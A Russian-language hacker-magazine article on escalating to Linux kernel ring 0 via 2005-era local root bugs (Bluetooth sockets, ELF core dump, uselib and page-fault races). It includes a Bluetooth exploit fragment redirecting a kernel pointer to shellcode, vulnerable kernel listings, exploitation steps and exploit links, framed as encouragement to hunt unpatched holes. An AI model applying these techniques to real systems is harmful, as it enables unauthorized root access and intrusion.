захватываем ring 0 в Linux

крис касперски ака мыщъх, no-email

> **нулевое кольцо дает полную власть над процессором, позволяя делать с ним все, что угодно. на этом уровне исполняется код операционной системы, загружаемые модули ядра и кое что еще. считается, что LINUX надежно оберегает нулевое кольцо от хакерского вторжения, но это не так. за последние несколько лет обнаружено множество дыр, некоторые из которых остаются не залатанными до сих пор.**

введение

Что можно сделать с прикладного уровня? Выполнить непривилегированную команду процессора, обратиться к пользовательской ячейке памяти, дернуть системным вызовов. Запись в порты ввода/вывода, перепрограммирование BIOS, маскировка процессов и сетевых соединений возможно только с уровня ядра. Все хакеры стремятся в этот священный Грааль, но не все его находит. Много дорог ведет туда, поэтому мы расскажем только о самых интересных из них.

честные способы взлома

С правами root'а проникнуть в ядро не проблема. Можно, например, написать свой LKM (Loadable Kernel Module – загружаемый модуль ядра) и загрузить его командой insmod. LKM-модули пишутся очень просто (это вам не Windows-драйвера!). Примеры готовых модулей можно найти в статье "Прятки в linux", там же рассказывается как их замаскировать от взора бдительного администратора.

Другой вариант. Ядро монтирует два псевдоустройства — `/dev/mem` (физическая память до виртуальной трансляции) и `/dev/kmem` (физическая память после виртуальной трансляции). Из-под root'а мы можем манипулировать с кодом и данными ядра.

Короче весь вопрос в том, как этого самого root'а заполучить. Легальным образом этого не сделать никак! LINUX поддерживает целый комплекс меры безопасности (только охранников в бронежилетах и машин с мигалками не хватает), однако, в системе защиты имеется множество дыр, делающих ее похожей на дуршлаг. Вот этими дырами мы и воспользуемся!

дырка в голубом зубе
или Linux Kernel Bluetooth Local Root Exploit

Крошечный чип Голубого Зуба использует довольно навороченный протокол связи, поддержка которого проходит довольно болезненно. Практически ни одному коллективу разработчиков не удалось предотвратить появление новых дыр, в которые и слон пролезет, но если не слон, но червь — точно. Не стала исключением и LINUX. В апреле 2005 года появилось сообщение о дыре, а следом за этим был написан Kernel Bluetooth Local Root Exploit, работающий на ядрах 2.6.4-52, 2.6.11 и некоторых других.

Ошибка разработчиков состояла в том, что эти редиски разместили структуры сокета Голубого Зуба в пользовательской области памяти, тем самым открыв полный доступ к модификации всех полей. Одним из таких полей оказался указатель на код, вызываемый с уровня ядра. При нормальном развитии событий он указывает на библиотеку поддержки Голубого Зуба, но нам ничего не стоит перенаправить его на shell-код!

Ключевой фрагмент эксплоита, дающего права root'а из-под юзера, приведен ниже. Оригинальный исходный текст лежит на http://home.paf.net/qobaiashi/ong_bak.c, а здесь копия: http://www.securiteam.com/exploits/5KP0F0AFFO.html (оригинальный адрес у меня так и не открылся).

```
if ((tmp = klogctl(0x3, buf, 1700)) > -1)
{
        check = strstr(buf, "ecx: ");
        printf(" |- [%0.14s]\n", check);
        if (*(check+5) == 0x30 && *(check+6) == 0x38)
```

```
        {
                check+=5;
                printf(" |- suitable value found!using 0x%0.9s\n", check);
                printf(" |- the time has come to push the button... check your id!\n");
                *(check+9) = 0x00;*(--check) = 'x';*(--check) = '0';
                mod = (unsigned int*)strtoul(check, 0, 0);
                for (sock = 0;sock <= 200;sock++)
                        *(mod++) = (int)ong_code;//link to shellcode

                if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)
                {
                        printf(" |- something went w0rng (invalid value)\n");
                        exit(1);
                }
}
```

Листинг 1 ключевой фрагмент Kernel Bluetooth Local Root эксплоита, дающий root'а ищ-под юзера

эльфы падают в дамп

Самой свежей дырой, которая только была найдена на момент написания этих строк, оказалась уязвимость в ELF-загрузчике, обнаженная 11 мая 2005 года и поражающая целую серию ядер: 2.2.27-rc2, 2.4, 2.4.31-pr1, 2.6, 2.6.12-rc4 и т. д.

Ошибка сидит в функции elf_core_dump(), расположенной в файле binfmt_elf.c. Ключевой фрагмент уязвимого листинга выглядит так:

```
static int elf_core_dump(long signr, struct pt_regs * regs, struct file * file)
{
          struct elf_prpsinfo psinfo; /* NT_PRPSINFO */

          /* first copy the parameters from user space */
          memset(&psinfo, 0, sizeof(psinfo));
          {
                    int i, len;                    /* 1 */
                    len = current->mm->arg_end - current->mm->arg_start;
                    if (len >= ELF_PRARGSZ) / * 2 * /
                              len = ELF_PRARGSZ-1;
                    copy_from_user(&psinfo.pr_psargs,/* 1167 */
                     (const char *)current->mm->arg_start, len);
          …
          }
…
}
```

Листинг 2 ключевой фрагмент функции elf_core_dump(), подверженной переполнению

Типичное переполнение буфера! Программист объявляет знаковую переменную len (см. /* 1 */) и спустя некоторое время передает ее функции copy_form_user, копирующей данные из пользовательской памяти в область ядра. Проверка на отрицательное значение не выполняется (см. /* 2 */). Что это значит для нас в практическом плане? А вот что! Если current->mm->arg_start будет больше, чем current->mm->arg_end, в ядро скопируется оччень большой регион пользовательского пространства.

А как этого можно добиться? Анализ показывает, что переменные current->mm->arg_start и current->mm->arg_end инициализируются в функции create_elf_tables, причем если функция strnlen_user возвратит ошибку, то будет инициализирована лишь переменная current->mm->arg_start, а current->mm->arg_end сохранит свое значение, унаследованное от предыдущего файла.

```
static elf_addr_t *
create_elf_tables(char *p, int argc, int envc,
        struct elfhdr * exec,
        unsigned long load_addr,
        unsigned long load_bias,
        unsigned long interp_load_addr, int ibcs)
        {
                current->mm->arg_start = (unsigned long) p;
                while (argc-->0)
                {
```

```
                __put_user((elf_caddr_t)(unsigned long)p,argv++);
                len = strnlen_user(p, PAGE_SIZE*MAX_ARG_PAGES);
                if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
                        return NULL; /* * */
                p += len;
        }
        __put_user(NULL, argv);
        current->mm->arg_end = current->mm->env_start = (unsigned long) p;
…
}
```

Листинг 3 ключевой фрагмент функции create_elf_tables

Остается сущая мелочь. Обломать функцию strnlen_user, расположив обе переменных в секции ELF файла с закрытым доступом (PROT_NONE), при обращении к которой произойдет исключение. Для сброса коры программы, ядро вызовет core_dump(). Она в свою очередь вызовет elf_core_dump() и… тут-то и произойдет переполнение! Перезапись области ядра открывает практически неограниченные возможности, ведь shell-код выполняется на нулевом кольце!

Демонстрационной эксплоит лежит здесь: http://www.isec.pl/vulnerabilities/isec-0023-coredump.txt

проблемы многопоточности

В классической UNIX никаких потоков вообще не было, а потому не существовало проблемы их синхронизации. С функцией fork() и развитыми средствами межпроцессорного взаимодействия потоки не очень-то и нужны. Но все-таки они появились, продырявив систему до самого дна. Ядро превратилось в настоящее скопище багов. Вот только один из них, обнаруженный в начале января 2005 года и поражающий все ядра версии 2.2, а ядра с версиями от 2.4 до 2.4.29-pre3 и от 2.6 до 2.6.10 включительно.

Рассмотрим фрагмент функции load_elf_library(), автоматически вызываемой функцией sys_uselib() при загрузке новой библиотеки:

```
static int load_elf_library(struct file *file)
{
        down_write(&current->mm->mmap_sem);
        error = do_mmap(file,
                ELF_PAGESTART(elf_phdata->p_vaddr),
                (elf_phdata->p_filesz +
                ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
                PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
                (elf_phdata->p_offset -
                ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
        up_write(&current->mm->mmap_sem);
        if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
                goto out_free_ph;

        elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
        padzero(elf_bss);

        len = ELF_PAGESTART(elf_phdata->p_filesz
                        elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
        bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
        if (bss > len)
                do_brk(len, bss - len);
```

Листинг 4 ключевой фрагмент функции load_elf_library, содержащей ошибку синхронизации потоков

Как мы видим, семафор mmap_sem освобождается до вызова do_brk() функции, порождая тем самым проблему синхронизации потоков. В тоже время, анализ функции sys_brk(), убеждает нас в том, что функции do_brk() должна вызывается с взведенным семафором. Рассмотрим фрагмент исходного кода, позаимствованный из файла mm/mmap.c:

```
[1094]  vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
        if (!vma)
        return -ENOMEM;
```

```
vma->vm_mm = mm;
vma->vm_start = addr;
vma->vm_end = addr + len;
vma->vm_flags = flags;
vma->vm_page_prot = protection_map[flags & 0x0f];
vma->vm_ops = NULL;
vma->vm_pgoff = 0;
vma->vm_file = NULL;
vma->vm_private_data = NULL;

vma_link(mm, vma, prev, rb_link, rb_parent);
```

Листинг 5 ключевой фрагмент функции sys_brk(), страдающей нарушением конегентности служебных структур данных

В отсутствии семафора, состояние виртуальной памяти может быть изменено межу вызовов функций kmem_cache_alloc и vma_link, и тогда вновь созданный VMA-дескриптор будет размещен совсем не в том месте, на которое рассчитывали разработчики! Для захвата root'а этого более чем достаточно.

К сожалению, даже простейший эксплоит занимает слишком много места и поэтому не может быть приведен здесь, однако, его исходный код легко найти в Интернете. Оригинальная версия (с подробным описанием техники взлома) лежит на: http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt.

получаем root'а на многопроцессорных машинах

А вот другая интересная уязвимость, затрагивающая большое количество ядер с версиями 2.4/2.6 и поражающая многопроцессорные машины. Обнаруженная в самом начале 2005 года, она все еще остается актуальной, поскольку далеко не все администраторы установили соответствующие заплатки, а многопроцессорные машины (включая микропроцессоры с поддержкой Hyper-Threading) в наши дни скорее правило, чем редкость.

Во всем виноват обработчик ошибок доступа к страницам (page fault handler), который вызывается всякий раз, когда приложение обращается к невыделенной или защищенной странице памяти. Не все ошибки одинаково фатальны. В частности, LINUX (как и большинство других систем) выделяет стековую память не сразу, а по частям. На вершине выделенной памяти находится станица, доступ к которой умышленно запрещен. Она называется "сторожевой" (GUARD_PAGE). Стек постепенно растет и в какой-то момент "врезается" в сторожевую страницу, возбуждая исключение. Его перехватывает page fault handler и операционная система выделяет стеку некоторое количество памяти, перемещая сторожевую страницу наверх. На однопроцессорных машинах эта схема работает как часы, а вот на многопроцессорных…

```
down_read(&mm->mmap_sem); /* * */
vma = find_vma(mm, address); .
if (!vma)
        goto bad_area;
if (vma->vm_start <= address)
        goto good_area;
if (!(vma->vm_flags & VM_GROWSDOWN))
        goto bad_area;
if (error_code & 4) {
/*
* accessing the stack below %esp is always a bug.
* The "+ 32" is there due to some instructions (like
* pusha) doing post-decrement on the stack and that
* doesn't show up until later..
*/
if (address + 32 < regs->esp) /* * */
        goto bad_area;
}
if (expand_stack(vma, address))
        goto bad_area;
```

Листинг 6 ключевой фрагмент функции /mm/fault.c, содержащий ошибку синхронизации

Поскольку, page fault handler выполняется с семафором, доступным только-на-чтение, несколько конкурирующих потока могут одновременно войти в обработчик за строкой /* * */. Рассмотрим, что произойдет, если два потока, разделяющих одну и туже виртуальную память,

одновременно вызовут page fault handler. Приблизительный сценарий атаки выглядит так: поток 1 обращается к сторожевой странице и вызывает исключение fault_1. Поток 2, обращается к странице GUARD_PAGE + PAGE_SIZE и вызывает исключение fault_2.

Состояние виртуальной памяти при этом будет выглядеть так:

```
[   NOPAGE    ] [fault_1      ] [     VMA     ]  --->  higher  addresses
[fault_2      ] [   NOPAGE    ] [     VMA     ]
```

Рисунок 1 состояние виртуальной памяти на момент вызова page fault handler'a двумя потоками

Если поток 2 опередит поток 1 и первым выделит свою страницу PAGE 1, поток 1 вызовет серьезное нарушение в работе менеджера виртуальной памяти, поскольку нижняя граница стека теперь находится выше fault 2 и потому страница PAGE 2 реально не выделяется, но становится доступной на чтение/запись обоим потокам, причем после завершения процесса она не будет удалена!

```
[   PAGE2     ] [PAGE1               VMA     ]
```

Рисунок 2 состояние виртуальной памяти на момент выхода из page fault handler'a

Что находится в PAGE 2? Зависит от состояния каталога страниц (page table). Поскольку в LINUX физическая память представляет собой своеобразный кэш виртуального адресного пространства, одна и та же страница в разное время может использоваться как ядром, так и пользовательскими приложениями (в том числе и привилегированными процессами).

Дождавшись, когда в PAGE2 попадает код ядра или какого-нибудь привилегированного процесса (это легко определить по его сигнатуре), хакер может внедрить сюда shell-код, или просто устроить грандиозный DoS, забросав PAGE2 бессмысленным мусором. Несмотря на довольно почетный возраст этой уязвимости, готового эксплоита найти так и неудалость, однако, его нетрудно написать самостоятельно. Как именно это сделать написано здесь: http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt;

заключение

Долгое время LINUX считалась "правильной" операционной системой, надежно защищенной от вирусов и хакерских атак. Но это оказалось не так. Дыр в LINUX'е даже больше чем в Windows, и многие из них носят критический характер. Загрузчик ELF-файлов, это настоящее гнездо. Баги отсюда так и прут. Еще больше ошибок порождается поддержкой многопточности. Если в Windows потоки существовали изначально и проблемы синхронизации решались на фундаментальном уровне, то "чужеродная" для LINUX'а многопоточность была синхронизована впопыхах.

Ошибки гнездятся вокруг семафоров. Ищите семафоры и вы найдете ошибки. Какой смысл использовать готовые эксплоиты, для которых уже существуют заплатки? Хакерский код получается слишком хлипким и нежизнеспособным. Активность администраторов растет с каждым днем, сервера оснащаются системами автоматического обновления и выживать в этом мире становится все труднее и труднее. Поэтому, необходимо вести самостоятельные исследования, уметь анализировать исходный и машинный код, обнаруживая еще никому неизвестные ошибки, противоядия против которых еще не существует.

На заре истории человек с винтовкой мог завоевать мир. Так чем же мы хуже? Следующая статья этого цикла расскажет какие инструменты используются для анализа ядра и как хакеры разыскивают дыры.

>>> врезка: интересные ссылки

- Understanding the Linux Kernel
  - доходчивое описание архитектуры ядра LINUX'а, настоящая настольная книга любого писателя KERNEL-эксплоитов (на английском языке) http://cs.bilgi.edu.tr/pages/courses/year_3/comp_306/Resources/For_Understanding_Kernel_Codes.pdf;
- Common Security Exploit and Vulnerability Matrix v2.0
  - красивый плакат с перечнем всех недавно обнаруженных дыр. распечатать и повестить на стену www.tripwire.com/files/literature/poster/Tripwire_exploit_poster.pdf;

- Cyber Security Bulletins
  - бюллетени по безопасности с кратким описанием недавно обнаруженных дыр (на английском языке): http://www.us-cert.gov/cas/bulletins/;
- iSEC Security Research
  - сайт продуктивной хакерской группы, обнаруживший множество интересных дыр (на английском языке): http://www.isec.pl/;
- Tiger Team
  - еще один хакерский сайт с кучей познавательных материалов на английском и швейцарских языках: http://tigerteam.se/